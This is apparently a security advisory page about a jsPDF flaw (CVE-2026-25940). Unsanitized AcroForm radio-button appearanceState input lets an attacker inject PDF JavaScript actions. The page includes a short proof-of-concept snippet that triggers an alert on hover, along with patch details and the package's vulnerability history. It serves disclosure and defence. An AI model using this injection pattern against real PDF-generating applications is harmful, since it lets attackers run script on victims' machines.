High

jsPDF has a PDF Injection in AcroForm module allows Arbitrary JavaScript Execution (RadioButton.createOption and "AS" property)

  • Disclosed: 19.02.2026
  • Updated: 11.10.2026 10:22

Impact

User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.

If given the possibility to pass unsanitized input to the following property, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim hovers over the radio option.

  • AcroformChildClass.appearanceState

Example attack vector:

js
import { jsPDF } from "jspdf"
const doc = new jsPDF();

const group = new doc.AcroFormRadioButton();
group.x = 10; group.y = 10; group.width = 20; group.height = 10;
doc.addField(group);

const child = group.createOption("opt1");
child.x = 10; child.y = 10; child.width = 20; child.height = 10;
child.appearanceState = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>";

doc.save("test.pdf");

Patches

The vulnerability has been fixed in jsPDF@4.2.0.

Workarounds

Sanitize user input before passing it to the vulnerable API members.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package jspdf < 4.2.0 4.2.0

References

CVSS score 8.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Weakness (CWE)
CWE-116
Platform
npm
Package
jspdf
Disclosed
19.02.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-p5xg-68wr-hm3m - CC BY 4.0

Vulnerability history: jspdf

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (15) in the archive
Total entries
15
First → latest
03.2021 03.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 9
  • Medium 4

Disclosures per year

  1. 2021: 3
  2. 2022: 0
  3. 2023: 0
  4. 2024: 0
  5. 2025: 2
  6. 2026: 10
Severity:
  1. Critical · 9.6 CVE-2026-31938 < 4.2.1 4.2.1
  2. High · 8.1 CVE-2026-31898 < 4.2.1 4.2.1
  3. jsPDF has a PDF Injection in AcroForm module allows Arbitrary JavaScript Execution (RadioButton.createOption and "AS" property) this entry
    High · 8.1 CVE-2026-25940 < 4.2.0 4.2.0
  4. Critical CVE-2025-68428 < 4.0.0 4.0.0
  5. High · 7.5 CVE-2025-57810 < 3.0.2 3.0.2
  6. High · 7.5 CVE-2021-23353 < 2.3.1 2.3.1

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.